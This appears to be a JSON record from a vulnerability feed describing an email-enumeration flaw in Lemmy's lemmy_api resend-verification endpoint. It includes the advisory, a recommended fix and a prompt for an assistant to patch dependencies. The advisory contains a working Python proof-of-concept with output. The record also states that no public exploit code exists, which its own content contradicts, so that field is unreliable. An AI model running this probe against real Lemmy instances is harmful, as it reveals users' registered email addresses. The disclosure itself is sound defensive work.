{"answers":{"affected":"2 open source packages ship an affected version, including lemmy_api.","exploited":"There is no known exploitation of GHSA-qxrw-f6fh-34r7 in the wild and no public exploit code.","fix":"No fix has been published for GHSA-qxrw-f6fh-34r7 yet. Limit exposure of the affected software until one is available.","what":"GHSA-qxrw-f6fh-34r7 is a vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-qxrw-f6fh-34r7 and fix it if it is affected.\n\nWhat it is: GHSA-qxrw-f6fh-34r7 is a vulnerability in lemmy_api, published on 6 May 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-qxrw-f6fh-34r7 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed\n- lemmy_api (crates.io): affected all versions up to 0.19.1-rc.1; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-qxrw-f6fh-34r7/ (Markdown: https://insights.sbomify.com/GHSA-qxrw-f6fh-34r7/index.md)","id":"GHSA-qxrw-f6fh-34r7","markdown":"https://insights.sbomify.com/GHSA-qxrw-f6fh-34r7/index.md","name":"GHSA-qxrw-f6fh-34r7","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"Lemmy social platform","requires_auth":"none","summary":"Unauthenticated attackers can enumerate registered email addresses via the resend-verification endpoint's distinct error responses.","user_interaction":"not_required","vuln_class":"information_disclosure"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe unauthenticated resend-verification endpoint returns different responses for registered and unregistered email addresses. A malicious third party can submit candidate addresses to `/api/v4/account/auth/resend_verification_email` and distinguish accounts from misses.\n\n## Details\n\n`resend_verification_email()` looks up the submitted address and returns the lookup error to the caller:\n\n```rust\nlet local_user_view = LocalUserView::find_by_email(\u0026mut context.pool(), \u0026email).await?;\ncheck_local_user_valid(\u0026local_user_view)?;\n```\n\nThe password reset endpoint already uses a safer pattern. It discards lookup errors and returns success, which prevents the same account-discovery channel.\n\n## Proof of Concept\n\nThe following script creates one user and probes that address plus a missing address.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef post(path, **body):\n    return requests.post(BASE + path, json=body)\n\nsuffix = \"enum\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = post(\"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nrequests.put(BASE + \"/site\", headers={\"Authorization\": \"Bearer \" + admin},\n             json={\"registration_mode\": \"open\", \"email_verification_required\": False})\n\nemail = \"alice\" + suffix + \"@example.test\"\npost(\"/account/auth/register\", username=\"alice\" + suffix, password=PASSWORD,\n     password_verify=PASSWORD, email=email).raise_for_status()\n\nfor candidate in [email, \"missing\" + suffix + \"@example.test\"]:\n    r = post(\"/account/auth/resend_verification_email\", email=candidate)\n    print(candidate, \"HTTP\", r.status_code, r.text[:300])\n\n```\n\nOutput:\n\n```text\nalicepoceudtpf@example.test HTTP 200 {\"success\":true}\nmissingpoceudtpf@example.test HTTP 404 {\"error\":\"not_found\",\"cause\":\"Record not found\"}\n```\n\n## Impact\n\nA malicious third party can enumerate registered email addresses without authentication. The endpoint uses the registration rate limit bucket, not an endpoint-specific anti-enumeration limit, so the attacker can automate probes across candidate address lists. The response also distinguishes missing accounts from banned or deleted accounts because `check_local_user_valid()` returns separate error types.\n\n## Recommended Fix\n\nUse the password-reset pattern for resend verification. Move the lookup and email-send work into a helper, ignore helper errors in the handler, and always return `{\"success\": true}` for syntactically valid input.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*","ecosystems":["crates.io"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Lemmy resend-verification endpoint exposes registered email addresses to unauthenticated users","id":"GHSA-qxrw-f6fh-34r7","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"crates.io","product":null,"products":[],"type":"information_disclosure","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"crates.io","fixed":[],"introduced":["0"],"last_affected":["0.19.1-rc.1"],"package":"lemmy_api","purl":null,"source":"GHSA-qxrw-f6fh-34r7"},{"ecosystem":"crates.io","fixed":[],"introduced":["0"],"last_affected":["0.19.1-rc.1"],"package":"lemmy_api","purl":"pkg:cargo/lemmy_api","source":"GHSA-qxrw-f6fh-34r7"}],"products":null,"published":"2026-05-06","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can enumerate registered email addresses via the resend-verification endpoint's distinct error responses.","url":"https://insights.sbomify.com/GHSA-qxrw-f6fh-34r7/"}